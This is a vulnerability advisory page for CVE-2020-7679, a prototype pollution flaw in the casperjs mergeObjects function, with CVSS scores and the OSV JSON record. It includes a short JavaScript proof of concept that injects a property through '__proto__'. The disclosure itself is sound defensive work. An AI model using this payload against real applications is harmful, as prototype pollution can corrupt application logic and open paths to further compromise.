Vulnerability-Lookup

GHSA-VRR3-5R3V-7XFW

Vulnerability from github – Published: 2021-05-17 21:00 – Updated: 2023-09-13 19:52

Summary

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Details

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "casperjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-11T22:26:54Z",
    "nvd_published_at": "2020-06-19T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\ncasperjs is a navigation scripting \u0026 testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse(\u0027{\"__proto__\": {\"a\": \"pwned\"}}\u0027);\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```",
  "id": "GHSA-vrr3-5r3v-7xfw",
  "modified": "2023-09-13T19:52:14Z",
  "published": "2021-05-17T21:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/casperjs/casperjs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CASPERJS-572803"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs"
}

CVE-2020-7679 (GCVE-0-2020-7679)

Vulnerability from cvelistv5 – Published: 2020-06-19 10:40 – Updated: 2024-09-16 23:51

Title

Prototype Pollution

Summary

In all versions of package casperjs, the mergeObjects utility function is susceptible to Prototype Pollution.

Severity

7.3 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

CWE

Prototype Pollution

Assigner

snyk mitre root

References

3 references

URL	Tags
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804	x_refsource_MISC
https://snyk.io/vuln/SNYK-JS-CASPERJS-572803	x_refsource_MISC
https://github.com/casperjs/casperjs/blob/master/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
n/a	casperjs	Affected: 0 , < unspecified (custom)

Date Public

2020-06-19 00:00

Show details on NVD website

JSON

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            "url": "https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680"
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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